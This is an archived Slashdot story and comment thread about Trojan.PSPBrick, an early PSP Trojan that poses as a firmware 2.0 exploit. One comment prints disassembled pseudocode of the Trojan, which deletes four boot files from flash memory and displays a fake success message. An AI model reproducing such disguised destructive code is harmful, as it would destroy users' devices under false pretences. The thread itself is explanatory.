Catch up on stories from the past week (and beyond) at the Slashdot story archive

 



Forgot your password?
typodupeerror
×
Sony Portables (Games)

First PSP Trojan Reported 76

Evangelion writes "PSP hackers beware! According to 1up.com today, Symantec has identified the first PSP Trojan in the wild. Known as Trojan.PSPBrick, it turns the PSP into, well, a brick. With buttons. Users have to download and install it themselves, and as a result it effectively breaks the PSP."
This discussion has been archived. No new comments can be posted.

First PSP Trojan Reported

Comments Filter:
  • by snuf23 ( 182335 ) on Thursday October 06, 2005 @03:51PM (#13733494)
    It's not a virus. It is a Trojan horse [webopedia.com]. A program which claims to be something beneficial but in reality just messes your computer up.

    "Don't download and install it."

    I'm sure if it's listed as "PSP Trojan Horse - turn your PSP into a useless brick" - nobody would download it.
  • by SpottedKuh ( 855161 ) on Thursday October 06, 2005 @03:52PM (#13733507)
    How is this a Trojan? Your answer:

    "In computer security technology, a virus is a self-replicating program...", from http://en.wikipedia.org/wiki/Computer_Virus [wikipedia.org].

    "In the context of computer software, a Trojan horse is a malicious program that is disguised as legitimate software.", from http://en.wikipedia.org/wiki/Trojan_horse_(computi ng) [wikipedia.org].

    In this case, the PSP malware is not self-replicating, and it is something you have to download and install on your own (which claims to let you run your own games on the PSP). Therefore, it is a Trojan rather than a virus. A destructive one, yes, but still just a Trojan.
  • by quaker5567 ( 841639 ) on Friday October 07, 2005 @05:05AM (#13737857)
    This is the disassembled code generated by Skylark from TOC2RTA.COM [toc2rta.com]

    As you can see, 4 files are deleted from the flash memory, then a few lines of text are displayed. Without these files, the PSP cannot boot, so it's bricked.

    _start:
            call main()
            while(1)

    sceIoAssign:
            syscall 0x20a8

    sceIoRemove:
            syscall 0x209e

    main:
            call FillVram(0)
            call Print(1,1,0xFFFFFF,"PSP TEAM 2.0 Exploit Hack the 2.0 firmware")
            call Print(1,2,0xFFFFFF,"Thank's to toc2rta for the 2.0 exploit :) ")
            call sceIoAssign("flash6:", "lflash0:0,0", "flashfat2:", 0, 0, 0)
            call sceIoRemove("flash6:/vsh/etc/index.dat")
            call sceIoRemove("flash6:/kd/loadcore.prx")
            call sceIoRemove("flash6:/kd/loadexec.prx")
            call sceIoRemove("flash6:/kd/init.prx")
            call Print(1,4,0xFFFFFF," Your 2.0 is hacked please reboot ")
            call Print(1,5,0xFFFFFF," Thank you PSP Team the french team")
            call Print(1,6,0xFFFFFF," FuCk yoshihiro and SonyxTeam Looser")

One man's constant is another man's variable. -- A.J. Perlis

Working...